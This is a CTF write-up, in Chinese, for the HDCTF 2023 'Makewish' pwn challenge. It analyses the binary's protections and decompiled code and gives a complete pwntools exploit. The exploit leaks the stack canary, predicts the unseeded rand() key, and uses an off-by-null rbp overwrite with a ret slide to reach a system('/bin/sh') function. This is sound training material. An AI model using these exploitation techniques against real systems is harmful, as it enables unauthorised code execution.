题面
二进制文件
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❮ pwn checksec ./pwn
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-Makewish/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
开了 NX 和 Canary。
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-38h] BYREF
int v5; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = rand() % 1000 + 324;
puts("tell me you name\n");
read(0, buf, 0x30u);
puts("hello,");
puts(buf);
puts("tell me key\n");
read(0, &v4, 4u);
if ( v5 == v4 )
return vuln();
puts("failed");
return 0;
}
__int64 vuln()
{
_BYTE buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("welcome to HDctf,You can make a wish to me");
buf[(int)read(0, buf, 0x60u)] = 0;
puts("sorry,i can't do that");
return 0;
}
|
这里用伪随机数,没有 srand() 初始化种子默认为零,用 ctypes 就能出来是 707。
1
2
3
4
|
puts("tell me you name\n");
read(0, buf, 0x30u);
puts("hello,");
puts(buf);
|
这里能写入 0x30 字节,然后 puts 出来。考虑到有 canary,这里可以用于泄漏 canary 值。
1
2
3
4
5
|
puts("tell me key\n");
read(0, &v4, 4u);
if ( v5 == v4 )
return vuln();
puts("failed");
|
这里对比 key,前面已经知道 key 恒为 707,写入仅 4 字节。比对成功后就调用 vuln 函数。
1
|
buf[(int)read(0, buf, 0x60u)] = 0;
|
vuln 函数里比较有意思的就是这行代码。往 buf 最多写入 0x60,然后最后把 buf + raed 写入长度的地方置零。来看 buf 在 rbp - 0x60 的位置。这样如果写满可以把 rbp 的最后一位给置零。 off by null 了,可以改写 rbp,做栈迁移。
还有个小礼物:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
.text:00000000004007C7 ; int treasure()
.text:00000000004007C7 public treasure
.text:00000000004007C7 treasure proc near
.text:00000000004007C7 ; __unwind {
.text:00000000004007C7 push rbp
.text:00000000004007C8 mov rbp, rsp
.text:00000000004007CB mov edi, offset command ; "/bin/sh"
.text:00000000004007D0 call _system
.text:00000000004007D5 nop
.text:00000000004007D6 pop rbp
.text:00000000004007D7 retn
.text:00000000004007D7 ; } // starts at 4007C7
.text:00000000004007D7 treasure endp
.text:00000000004007D7
|
综合的反汇编代码就这样。
利用
先利用 puts 把 canary 泄漏了:
1
2
3
4
5
6
|
io.recvuntil(b"name\n")
io.sendline(payload0)
io.recvuntil(b"a\n")
canary = u64(io.recv(7).rjust(8, b"\x00"))
print("canary =", hex(canary))
|
然后填入 key:
1
2
3
4
|
clib = cdll.LoadLibrary("/usr/lib/libc.so.6")
io.recvuntil(b"key\n")
io.send(p32(int(key)))
|
现在进入 vuln,这里的利用就比较巧妙。
如果全部塞满可以覆盖掉 rbp 的最后一位置零进行栈迁移,但是栈迁移还需要 leave 呀。巧合的是到 vuln 最后连带着 main 一起,有两次 leave; ret;可以帮助栈迁移:

这里用到了 ret slide 滑动一直执行。因为仅覆盖了 rbp 最后一位,因为栈地址随机化有概率跳到 ret 的位置,然后就是一直滑动执行,最后跳转到 treasure 函数即可。
1
2
3
4
5
|
io.recvuntil(b"make a wish to me")
payload1 = p64(ret) * 10 + p64(system) + p64(canary)
print(hex(len(payload1)))
gdb.attach(io)
io.send(payload1)
|
多试几次总能遇到一次可以打通的。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
from pwn import *
from ctypes import *
io = process("./pwn")
# io = remote("node4.anna.nssctf.cn", 27550)
clib = cdll.LoadLibrary("/usr/lib/libc.so.6")
key = clib.rand() % 1000 + 324
ret = 0x4005D9
system = 0x4007C7
payload0 = b"a" * (0x30 - 0x8)
io.recvuntil(b"name\n")
io.sendline(payload0)
io.recvuntil(b"a\n")
canary = u64(io.recv(7).rjust(8, b"\x00"))
print("canary =", hex(canary))
io.recvuntil(b"key\n")
io.send(p32(int(key)))
io.recvuntil(b"make a wish to me")
payload1 = p64(ret) * 10 + p64(system) + p64(canary)
print(hex(len(payload1)))
#gdb.attach(io)
io.send(payload1)
io.interactive()
|